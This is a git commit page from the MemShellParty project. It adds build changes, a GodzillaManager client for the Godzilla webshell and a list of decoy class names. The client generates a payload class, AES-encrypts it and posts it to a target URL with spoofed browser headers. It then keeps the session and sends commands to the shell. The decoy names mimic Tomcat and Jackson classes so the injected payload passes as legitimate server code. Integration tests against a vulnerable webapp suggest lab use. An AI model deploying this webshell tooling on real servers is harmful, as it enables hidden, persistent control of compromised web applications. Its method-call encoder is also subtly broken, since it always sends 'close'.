mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
feat: add godzilla manager and integration container test
This commit is contained in:
+27
-2
@@ -1,6 +1,18 @@
|
|||||||
|
buildscript {
|
||||||
|
repositories {
|
||||||
|
maven {
|
||||||
|
url "https://plugins.gradle.org/m2/"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dependencies {
|
||||||
|
classpath "io.freefair.gradle:lombok-plugin:8.11"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
allprojects {
|
allprojects {
|
||||||
apply(plugin: 'java')
|
apply(plugin: 'java')
|
||||||
apply(plugin: 'jacoco')
|
apply(plugin: 'jacoco')
|
||||||
|
apply(plugin: "io.freefair.lombok")
|
||||||
|
|
||||||
repositories {
|
repositories {
|
||||||
mavenCentral()
|
mavenCentral()
|
||||||
@@ -13,14 +25,27 @@ allprojects {
|
|||||||
}
|
}
|
||||||
|
|
||||||
test {
|
test {
|
||||||
finalizedBy jacocoTestReport // report is always generated after tests run
|
useJUnitPlatform()
|
||||||
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
|
|
||||||
jacocoTestReport {
|
jacocoTestReport {
|
||||||
dependsOn test // tests are required to run before generating the report
|
dependsOn test
|
||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||||
|
testImplementation 'org.testcontainers:testcontainers:1.20.4'
|
||||||
|
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
|
||||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
testImplementation platform('org.junit:junit-bom:5.11.3')
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.withType(Test).tap {
|
||||||
|
configureEach {
|
||||||
|
testLogging {
|
||||||
|
events "passed", "skipped", "failed"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,12 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.memsell'
|
group = 'com.reajason.javaweb.memsell'
|
||||||
version = '1.0-SNAPSHOT'
|
version = '1.0-SNAPSHOT'
|
||||||
|
|
||||||
|
test {
|
||||||
|
dependsOn(":vul-webapp:build")
|
||||||
|
useJUnitPlatform()
|
||||||
|
finalizedBy jacocoTestReport
|
||||||
|
}
|
||||||
|
|
||||||
jacocoTestReport {
|
jacocoTestReport {
|
||||||
reports {
|
reports {
|
||||||
html.required = true
|
html.required = true
|
||||||
@@ -15,6 +17,7 @@ jacocoTestReport {
|
|||||||
fileTree(dir: it, exclude: [
|
fileTree(dir: it, exclude: [
|
||||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||||
'com/reajason/javaweb/memsell/**/injector/**',
|
'com/reajason/javaweb/memsell/**/injector/**',
|
||||||
|
'com/reajason/javaweb/memsell/**/command/**',
|
||||||
'com/reajason/javaweb/config/**'
|
'com/reajason/javaweb/config/**'
|
||||||
])
|
])
|
||||||
}))
|
}))
|
||||||
@@ -31,6 +34,8 @@ dependencies {
|
|||||||
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
||||||
implementation 'commons-codec:commons-codec:1.17.1'
|
implementation 'commons-codec:commons-codec:1.17.1'
|
||||||
|
|
||||||
|
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||||
|
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
||||||
@@ -45,7 +50,3 @@ dependencies {
|
|||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,264 @@
|
|||||||
|
package com.reajason.javaweb.godzilla;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import okhttp3.*;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.URLDecoder;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
public class GodzillaManager implements Closeable {
|
||||||
|
private final OkHttpClient client;
|
||||||
|
private static final List<String> CLASS_NAMES;
|
||||||
|
private String J_SESSION_ID = "";
|
||||||
|
private String entrypoint;
|
||||||
|
private String key;
|
||||||
|
private String pass;
|
||||||
|
private String md5;
|
||||||
|
private Request request;
|
||||||
|
private Map<String, String> headers = new HashMap<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
|
||||||
|
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class GodzillaManagerBuilder {
|
||||||
|
private String entrypoint;
|
||||||
|
private String key;
|
||||||
|
private String pass;
|
||||||
|
private final Map<String, String> headers = new HashMap<>();
|
||||||
|
|
||||||
|
public GodzillaManagerBuilder entrypoint(String entrypoint) {
|
||||||
|
this.entrypoint = entrypoint;
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaManagerBuilder key(String key) {
|
||||||
|
this.key = key;
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaManagerBuilder pass(String pass) {
|
||||||
|
this.pass = pass;
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaManagerBuilder header(String key, String value) {
|
||||||
|
this.headers.put(key, value);
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaManager build() {
|
||||||
|
GodzillaManager manager = new GodzillaManager();
|
||||||
|
manager.setEntrypoint(entrypoint);
|
||||||
|
manager.setPass(pass);
|
||||||
|
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||||
|
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||||
|
manager.setMd5(md5);
|
||||||
|
manager.setKey(md5Key);
|
||||||
|
Map<String, String> headers = new HashMap<>(16);
|
||||||
|
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
|
||||||
|
headers.put("Content-Type", "application/x-www-form-urlencoded");
|
||||||
|
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
|
||||||
|
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
|
||||||
|
headers.putAll(this.headers);
|
||||||
|
manager.setHeaders(headers);
|
||||||
|
return manager;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GodzillaManagerBuilder builder() {
|
||||||
|
return new GodzillaManagerBuilder();
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaManager() {
|
||||||
|
this.client = new OkHttpClient.Builder().build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Response post(byte[] bytes) throws IOException {
|
||||||
|
byte[] aes = aes(bytes, true);
|
||||||
|
assert aes != null;
|
||||||
|
String base64String = Base64.encodeBase64String(aes);
|
||||||
|
RequestBody requestBody = new FormBody.Builder()
|
||||||
|
.add("pass", base64String)
|
||||||
|
.build();
|
||||||
|
Request.Builder builder = new Request.Builder()
|
||||||
|
.url(this.entrypoint)
|
||||||
|
.post(requestBody)
|
||||||
|
.headers(Headers.of(this.headers));
|
||||||
|
if (StringUtils.isNotBlank(J_SESSION_ID)) {
|
||||||
|
builder.header("Cookie", J_SESSION_ID);
|
||||||
|
}
|
||||||
|
return client.newCall(builder.build()).execute();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] generateGodzilla() {
|
||||||
|
Random random = new Random();
|
||||||
|
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
|
||||||
|
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||||
|
.redefine(Payload.class)
|
||||||
|
.name(className)
|
||||||
|
.make()) {
|
||||||
|
return make.getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean start() {
|
||||||
|
byte[] bytes = generateGodzilla();
|
||||||
|
try (Response response = post(bytes)) {
|
||||||
|
String setCookie = response.header("Set-Cookie");
|
||||||
|
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
|
||||||
|
J_SESSION_ID = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
|
||||||
|
}
|
||||||
|
return response.code() == 200;
|
||||||
|
} catch (IOException e) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean test() {
|
||||||
|
byte[] bytes = generateMethodCallBytes("test");
|
||||||
|
try (Response response = post(bytes)) {
|
||||||
|
if (response.code() == 200) {
|
||||||
|
ResponseBody body = response.body();
|
||||||
|
if (body != null) {
|
||||||
|
String resultFromRes = getResultFromRes(body.string());
|
||||||
|
return "ok".equals(resultFromRes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void close() throws IOException {
|
||||||
|
byte[] bytes = generateMethodCallBytes("close");
|
||||||
|
try (Response response = post(bytes)) {
|
||||||
|
if (response.code() == 200) {
|
||||||
|
ResponseBody body = response.body();
|
||||||
|
}
|
||||||
|
} catch (IOException ignore) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* AES 加解密
|
||||||
|
*
|
||||||
|
* @param bytes 加解密的字符串字节数组
|
||||||
|
* @param encoding 是否为加密,true 为加密,false 解密
|
||||||
|
* @return 返回加解密后的字节数组
|
||||||
|
*/
|
||||||
|
public byte[] aes(byte[] bytes, boolean encoding) {
|
||||||
|
System.out.println(key);
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(encoding ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(bytes);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isValidResponse(String response) {
|
||||||
|
if (StringUtils.isEmpty(response)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16));
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getResultFromRes(String responseBody) throws IOException {
|
||||||
|
String result = responseBody.substring(16);
|
||||||
|
result = result.substring(0, result.length() - 16);
|
||||||
|
byte[] bytes = Base64.decodeBase64(result);
|
||||||
|
byte[] x = aes(bytes, false);
|
||||||
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
||||||
|
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
|
||||||
|
}
|
||||||
|
|
||||||
|
Map<String, String> restorePayload(String payload) throws IOException {
|
||||||
|
String p = URLDecoder.decode(payload, "UTF-8");
|
||||||
|
Map<String, String> map = new HashMap<>();
|
||||||
|
byte[] bytes = Base64.decodeBase64(p);
|
||||||
|
byte[] x = aes(bytes, false);
|
||||||
|
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
|
||||||
|
ByteArrayOutputStream tp = new ByteArrayOutputStream();
|
||||||
|
byte[] lenB = new byte[4];
|
||||||
|
int read;
|
||||||
|
try {
|
||||||
|
GZIPInputStream inputStream = new GZIPInputStream(tStream);
|
||||||
|
while (true) {
|
||||||
|
byte t = (byte) inputStream.read();
|
||||||
|
if (t != -1) {
|
||||||
|
if (t == 2) {
|
||||||
|
String key = tp.toString();
|
||||||
|
int read1 = inputStream.read(lenB);
|
||||||
|
int len = bytesToInt(lenB);
|
||||||
|
byte[] data = new byte[len];
|
||||||
|
int readOneLen = 0;
|
||||||
|
do {
|
||||||
|
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
|
||||||
|
readOneLen = read;
|
||||||
|
} while (read < data.length);
|
||||||
|
map.put(key, new String(data));
|
||||||
|
tp.reset();
|
||||||
|
} else {
|
||||||
|
tp.write(t);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
tp.close();
|
||||||
|
tStream.close();
|
||||||
|
inputStream.close();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int bytesToInt(byte[] bytes) {
|
||||||
|
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private byte[] generateMethodCallBytes(String methodName) {
|
||||||
|
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
|
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
|
||||||
|
byte[] value = "close".getBytes();
|
||||||
|
gzipOutputStream.write("methodName".getBytes());
|
||||||
|
gzipOutputStream.write(2);
|
||||||
|
gzipOutputStream.write(intToBytes(value.length));
|
||||||
|
gzipOutputStream.write(value);
|
||||||
|
}
|
||||||
|
return byteArrayOutputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] intToBytes(int value) {
|
||||||
|
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,413 @@
|
|||||||
|
org.apache.coyote.AbstractTypeResolver
|
||||||
|
org.apache.coyote.AnnotationIntrospector
|
||||||
|
org.apache.coyote.BeanDescription
|
||||||
|
org.apache.coyote.BeanProperty
|
||||||
|
org.apache.coyote.DatabindContext
|
||||||
|
org.apache.coyote.DeserializationConfig
|
||||||
|
org.apache.coyote.DeserializationContext
|
||||||
|
org.apache.coyote.DeserializationFeature
|
||||||
|
org.apache.coyote.InjectableValues
|
||||||
|
org.apache.coyote.JavaType
|
||||||
|
org.apache.coyote.JsonDeserializer
|
||||||
|
org.apache.coyote.JsonMappingException
|
||||||
|
org.apache.coyote.JsonNode
|
||||||
|
org.apache.coyote.JsonSerializable
|
||||||
|
org.apache.coyote.JsonSerializer
|
||||||
|
org.apache.coyote.KeyDeserializer
|
||||||
|
org.apache.coyote.MapperFeature
|
||||||
|
org.apache.coyote.MappingIterator
|
||||||
|
org.apache.coyote.MappingJsonFactory
|
||||||
|
org.apache.coyote.Module
|
||||||
|
org.apache.coyote.ObjectMapper
|
||||||
|
org.apache.coyote.ObjectReader
|
||||||
|
org.apache.coyote.ObjectWriter
|
||||||
|
org.apache.coyote.PropertyMetadata
|
||||||
|
org.apache.coyote.PropertyName
|
||||||
|
org.apache.coyote.PropertyNamingStrategy
|
||||||
|
org.apache.coyote.RuntimeJsonMappingException
|
||||||
|
org.apache.coyote.SequenceWriter
|
||||||
|
org.apache.coyote.SerializationConfig
|
||||||
|
org.apache.coyote.SerializationFeature
|
||||||
|
org.apache.coyote.SerializerProvider
|
||||||
|
org.apache.coyote.annotation.JacksonStdImpl
|
||||||
|
org.apache.coyote.annotation.JsonAppend
|
||||||
|
org.apache.coyote.annotation.JsonDeserialize
|
||||||
|
org.apache.coyote.annotation.JsonNaming
|
||||||
|
org.apache.coyote.annotation.JsonPOJOBuilder
|
||||||
|
org.apache.coyote.annotation.JsonSerialize
|
||||||
|
org.apache.coyote.annotation.JsonTypeIdResolver
|
||||||
|
org.apache.coyote.annotation.JsonTypeResolver
|
||||||
|
org.apache.coyote.annotation.JsonValueInstantiator
|
||||||
|
org.apache.coyote.annotation.NoClass
|
||||||
|
org.apache.coyote.cfg.BaseSettings
|
||||||
|
org.apache.coyote.cfg.ConfigFeature
|
||||||
|
org.apache.coyote.cfg.ConfigOverride
|
||||||
|
org.apache.coyote.cfg.ConfigOverrides
|
||||||
|
org.apache.coyote.cfg.ContextAttributes
|
||||||
|
org.apache.coyote.cfg.DeserializerFactoryConfig
|
||||||
|
org.apache.coyote.cfg.HandlerInstantiator
|
||||||
|
org.apache.coyote.cfg.MapperBuilder
|
||||||
|
org.apache.coyote.cfg.MapperConfig
|
||||||
|
org.apache.coyote.cfg.MapperConfigBase
|
||||||
|
org.apache.coyote.cfg.MutableConfigOverride
|
||||||
|
org.apache.coyote.cfg.PackageVersion
|
||||||
|
org.apache.coyote.cfg.SerializerFactoryConfig
|
||||||
|
org.apache.coyote.deser.AbstractDeserializer
|
||||||
|
org.apache.coyote.deser.BasicDeserializerFactory
|
||||||
|
org.apache.coyote.deser.BeanDeserializer
|
||||||
|
org.apache.coyote.deser.BeanDeserializerBase
|
||||||
|
org.apache.coyote.deser.BeanDeserializerBuilder
|
||||||
|
org.apache.coyote.deser.BeanDeserializerFactory
|
||||||
|
org.apache.coyote.deser.BeanDeserializerModifier
|
||||||
|
org.apache.coyote.deser.BuilderBasedDeserializer
|
||||||
|
org.apache.coyote.deser.ContextualDeserializer
|
||||||
|
org.apache.coyote.deser.ContextualKeyDeserializer
|
||||||
|
org.apache.coyote.deser.CreatorProperty
|
||||||
|
org.apache.coyote.deser.DataFormatReaders
|
||||||
|
org.apache.coyote.deser.DefaultDeserializationContext
|
||||||
|
org.apache.coyote.deser.DeserializationProblemHandler
|
||||||
|
org.apache.coyote.deser.DeserializerCache
|
||||||
|
org.apache.coyote.deser.DeserializerFactory
|
||||||
|
org.apache.coyote.deser.Deserializers
|
||||||
|
org.apache.coyote.deser.KeyDeserializers
|
||||||
|
org.apache.coyote.deser.NullValueProvider
|
||||||
|
org.apache.coyote.deser.ResolvableDeserializer
|
||||||
|
org.apache.coyote.deser.SettableAnyProperty
|
||||||
|
org.apache.coyote.deser.SettableBeanProperty
|
||||||
|
org.apache.coyote.deser.UnresolvedForwardReference
|
||||||
|
org.apache.coyote.deser.UnresolvedId
|
||||||
|
org.apache.coyote.deser.ValueInstantiator
|
||||||
|
org.apache.coyote.deser.ValueInstantiators
|
||||||
|
org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer
|
||||||
|
org.apache.coyote.deser.impl.BeanAsArrayDeserializer
|
||||||
|
org.apache.coyote.deser.impl.BeanPropertyMap
|
||||||
|
org.apache.coyote.deser.impl.CreatorCandidate
|
||||||
|
org.apache.coyote.deser.impl.CreatorCollector
|
||||||
|
org.apache.coyote.deser.impl.ErrorThrowingDeserializer
|
||||||
|
org.apache.coyote.deser.impl.ExternalTypeHandler
|
||||||
|
org.apache.coyote.deser.impl.FailingDeserializer
|
||||||
|
org.apache.coyote.deser.impl.FieldProperty
|
||||||
|
org.apache.coyote.deser.impl.InnerClassProperty
|
||||||
|
org.apache.coyote.deser.impl.JDKValueInstantiators
|
||||||
|
org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers
|
||||||
|
org.apache.coyote.deser.impl.ManagedReferenceProperty
|
||||||
|
org.apache.coyote.deser.impl.MergingSettableBeanProperty
|
||||||
|
org.apache.coyote.deser.impl.MethodProperty
|
||||||
|
org.apache.coyote.deser.impl.NullsAsEmptyProvider
|
||||||
|
org.apache.coyote.deser.impl.NullsConstantProvider
|
||||||
|
org.apache.coyote.deser.impl.NullsFailProvider
|
||||||
|
org.apache.coyote.deser.impl.ObjectIdReader
|
||||||
|
org.apache.coyote.deser.impl.ObjectIdReferenceProperty
|
||||||
|
org.apache.coyote.deser.impl.ObjectIdValueProperty
|
||||||
|
org.apache.coyote.deser.impl.PropertyBasedCreator
|
||||||
|
org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator
|
||||||
|
org.apache.coyote.deser.impl.PropertyValue
|
||||||
|
org.apache.coyote.deser.impl.PropertyValueBuffer
|
||||||
|
org.apache.coyote.deser.impl.ReadableObjectId
|
||||||
|
org.apache.coyote.deser.impl.SetterlessProperty
|
||||||
|
org.apache.coyote.deser.impl.TypeWrappedDeserializer
|
||||||
|
org.apache.coyote.deser.impl.UnwrappedPropertyHandler
|
||||||
|
org.apache.coyote.deser.impl.ValueInjector
|
||||||
|
org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer
|
||||||
|
org.apache.coyote.deser.std.AtomicBooleanDeserializer
|
||||||
|
org.apache.coyote.deser.std.AtomicReferenceDeserializer
|
||||||
|
org.apache.coyote.deser.std.BaseNodeDeserializer
|
||||||
|
org.apache.coyote.deser.std.ByteBufferDeserializer
|
||||||
|
org.apache.coyote.deser.std.CollectionDeserializer
|
||||||
|
org.apache.coyote.deser.std.ContainerDeserializerBase
|
||||||
|
org.apache.coyote.deser.std.DateDeserializers
|
||||||
|
org.apache.coyote.deser.std.DelegatingDeserializer
|
||||||
|
org.apache.coyote.deser.std.EnumDeserializer
|
||||||
|
org.apache.coyote.deser.std.EnumMapDeserializer
|
||||||
|
org.apache.coyote.deser.std.EnumSetDeserializer
|
||||||
|
org.apache.coyote.deser.std.FactoryBasedEnumDeserializer
|
||||||
|
org.apache.coyote.deser.std.FromStringDeserializer
|
||||||
|
org.apache.coyote.deser.std.JdkDeserializers
|
||||||
|
org.apache.coyote.deser.std.JsonLocationInstantiator
|
||||||
|
org.apache.coyote.deser.std.JsonNodeDeserializer
|
||||||
|
org.apache.coyote.deser.std.MapDeserializer
|
||||||
|
org.apache.coyote.deser.std.MapEntryDeserializer
|
||||||
|
org.apache.coyote.deser.std.NullifyingDeserializer
|
||||||
|
org.apache.coyote.deser.std.NumberDeserializers
|
||||||
|
org.apache.coyote.deser.std.ObjectArrayDeserializer
|
||||||
|
org.apache.coyote.deser.std.PrimitiveArrayDeserializers
|
||||||
|
org.apache.coyote.deser.std.ReferenceTypeDeserializer
|
||||||
|
org.apache.coyote.deser.std.StackTraceElementDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdDelegatingDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdKeyDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdKeyDeserializers
|
||||||
|
org.apache.coyote.deser.std.StdNodeBasedDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdScalarDeserializer
|
||||||
|
org.apache.coyote.deser.std.StdValueInstantiator
|
||||||
|
org.apache.coyote.deser.std.StringArrayDeserializer
|
||||||
|
org.apache.coyote.deser.std.StringCollectionDeserializer
|
||||||
|
org.apache.coyote.deser.std.StringDeserializer
|
||||||
|
org.apache.coyote.deser.std.ThrowableDeserializer
|
||||||
|
org.apache.coyote.deser.std.TokenBufferDeserializer
|
||||||
|
org.apache.coyote.deser.std.UUIDDeserializer
|
||||||
|
org.apache.coyote.deser.std.UntypedObjectDeserializer
|
||||||
|
org.apache.coyote.exc.IgnoredPropertyException
|
||||||
|
org.apache.coyote.exc.InvalidDefinitionException
|
||||||
|
org.apache.coyote.exc.InvalidFormatException
|
||||||
|
org.apache.coyote.exc.InvalidNullException
|
||||||
|
org.apache.coyote.exc.InvalidTypeIdException
|
||||||
|
org.apache.coyote.exc.MismatchedInputException
|
||||||
|
org.apache.coyote.exc.PropertyBindingException
|
||||||
|
org.apache.coyote.exc.UnrecognizedPropertyException
|
||||||
|
org.apache.coyote.exc.ValueInstantiationException
|
||||||
|
org.apache.coyote.ext.CoreXMLDeserializers
|
||||||
|
org.apache.coyote.ext.CoreXMLSerializers
|
||||||
|
org.apache.coyote.ext.DOMDeserializer
|
||||||
|
org.apache.coyote.ext.DOMSerializer
|
||||||
|
org.apache.coyote.ext.Java7Handlers
|
||||||
|
org.apache.coyote.ext.Java7HandlersImpl
|
||||||
|
org.apache.coyote.ext.Java7Support
|
||||||
|
org.apache.coyote.ext.Java7SupportImpl
|
||||||
|
org.apache.coyote.ext.NioPathDeserializer
|
||||||
|
org.apache.coyote.ext.NioPathSerializer
|
||||||
|
org.apache.coyote.ext.OptionalHandlerFactory
|
||||||
|
org.apache.coyote.introspect.Annotated
|
||||||
|
org.apache.coyote.introspect.AnnotatedClass
|
||||||
|
org.apache.coyote.introspect.AnnotatedClassResolver
|
||||||
|
org.apache.coyote.introspect.AnnotatedConstructor
|
||||||
|
org.apache.coyote.introspect.AnnotatedCreatorCollector
|
||||||
|
org.apache.coyote.introspect.AnnotatedField
|
||||||
|
org.apache.coyote.introspect.AnnotatedFieldCollector
|
||||||
|
org.apache.coyote.introspect.AnnotatedMember
|
||||||
|
org.apache.coyote.introspect.AnnotatedMethod
|
||||||
|
org.apache.coyote.introspect.AnnotatedMethodCollector
|
||||||
|
org.apache.coyote.introspect.AnnotatedMethodMap
|
||||||
|
org.apache.coyote.introspect.AnnotatedParameter
|
||||||
|
org.apache.coyote.introspect.AnnotatedWithParams
|
||||||
|
org.apache.coyote.introspect.AnnotationCollector
|
||||||
|
org.apache.coyote.introspect.AnnotationIntrospectorPair
|
||||||
|
org.apache.coyote.introspect.AnnotationMap
|
||||||
|
org.apache.coyote.introspect.BasicBeanDescription
|
||||||
|
org.apache.coyote.introspect.BasicClassIntrospector
|
||||||
|
org.apache.coyote.introspect.BeanPropertyDefinition
|
||||||
|
org.apache.coyote.introspect.ClassIntrospector
|
||||||
|
org.apache.coyote.introspect.CollectorBase
|
||||||
|
org.apache.coyote.introspect.ConcreteBeanPropertyBase
|
||||||
|
org.apache.coyote.introspect.JacksonAnnotationIntrospector
|
||||||
|
org.apache.coyote.introspect.MemberKey
|
||||||
|
org.apache.coyote.introspect.NopAnnotationIntrospector
|
||||||
|
org.apache.coyote.introspect.ObjectIdInfo
|
||||||
|
org.apache.coyote.introspect.POJOPropertiesCollector
|
||||||
|
org.apache.coyote.introspect.POJOPropertyBuilder
|
||||||
|
org.apache.coyote.introspect.SimpleMixInResolver
|
||||||
|
org.apache.coyote.introspect.TypeResolutionContext
|
||||||
|
org.apache.coyote.introspect.VirtualAnnotatedMember
|
||||||
|
org.apache.coyote.introspect.VisibilityChecker
|
||||||
|
org.apache.coyote.introspect.WithMember
|
||||||
|
org.apache.coyote.json.JsonMapper
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonFormatTypes
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonValueFormat
|
||||||
|
org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor
|
||||||
|
org.apache.coyote.jsonschema.JsonSchema
|
||||||
|
org.apache.coyote.jsonschema.JsonSerializableSchema
|
||||||
|
org.apache.coyote.jsonschema.SchemaAware
|
||||||
|
org.apache.coyote.jsontype.BasicPolymorphicTypeValidator
|
||||||
|
org.apache.coyote.jsontype.NamedType
|
||||||
|
org.apache.coyote.jsontype.PolymorphicTypeValidator
|
||||||
|
org.apache.coyote.jsontype.SubtypeResolver
|
||||||
|
org.apache.coyote.jsontype.TypeDeserializer
|
||||||
|
org.apache.coyote.jsontype.TypeIdResolver
|
||||||
|
org.apache.coyote.jsontype.TypeResolverBuilder
|
||||||
|
